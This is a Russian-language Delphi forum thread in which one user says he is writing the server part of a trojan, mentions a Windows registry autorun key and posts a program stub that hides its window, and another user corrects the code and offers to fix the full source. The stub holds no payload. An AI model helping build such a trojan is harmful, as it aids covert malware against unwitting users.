Параметры окна

[misher]

все равно курсор между Unit1 и in 'Unit1.pas'...

[misher]

не-а все равно... есть ли у тебя делфи глазами хакера?

[MaxNik2009]

есть ли у тебя делфи глазами хакера?

Нет у меня этой книги. Если хочешь скачать то тебе >>Сюда<< (пост №6). Теперь поясни что ты хочешь сделать в программе, и уже от этого мы будем думать.

[misher]

вот исходник просмотри пожалйсто если все поучиться, то в реестре по адресу:
HKEY_LOCAL_MACHINE\Software\Microso ft\Windows\CurrentVersion\RunServ
ices. He забудь после тестирования ее удалить.
http://depositfiles.com/files/bptzspeju

[misher]

это серверная часть трояна(я просто для себя пишу) в View Source нужно написать этот код

program Internat32;
uses
Forms,
Windows.
Unit1 in 'Unit1.pas' {Form1);
{$R *.RES}
var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindowfApplication.Handle,SW_HI DE);
Form1:=TForm1.Create{nil);
Application.Run;
WhEvent:=CreateEvent{nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent, 1000);
Application.ProcessMessages;
end;
end.

[MaxNik2009]

А где файл *.dpr???
___________________________________
Добавлено:

program Internat32;
uses
  Forms,
  Windows,
  Uni1 in 'Unit1.pas' { Form1 } ;

var
  WhEvent: THandle;

begin
  Application.Initialize;
  ShowWindow(Application.Handle, SW_HIDE);
  Form1:= TForm1.Create(nil);
  Application.Run;
  WhEvent:= CreateEvent(nil, true, false, 'et');
  while (true) do
  begin
    WaitForSingleObject(WhEvent, 1000);
    Application.ProcessMessages;
  end;
end.

Попробуй этот исходник( у меня работает);

[MaxNik2009]

................................... ...

[misher]

Uni1 in 'Unit1.pas' { Form1 } ;

все равно эта строка...

[misher]

я передалаю там все равно мало писать... скину исходник(теперь полный, тогда плохо сохранил),а ты подправиш ок?

[MaxNik2009]

Давай посмотрю...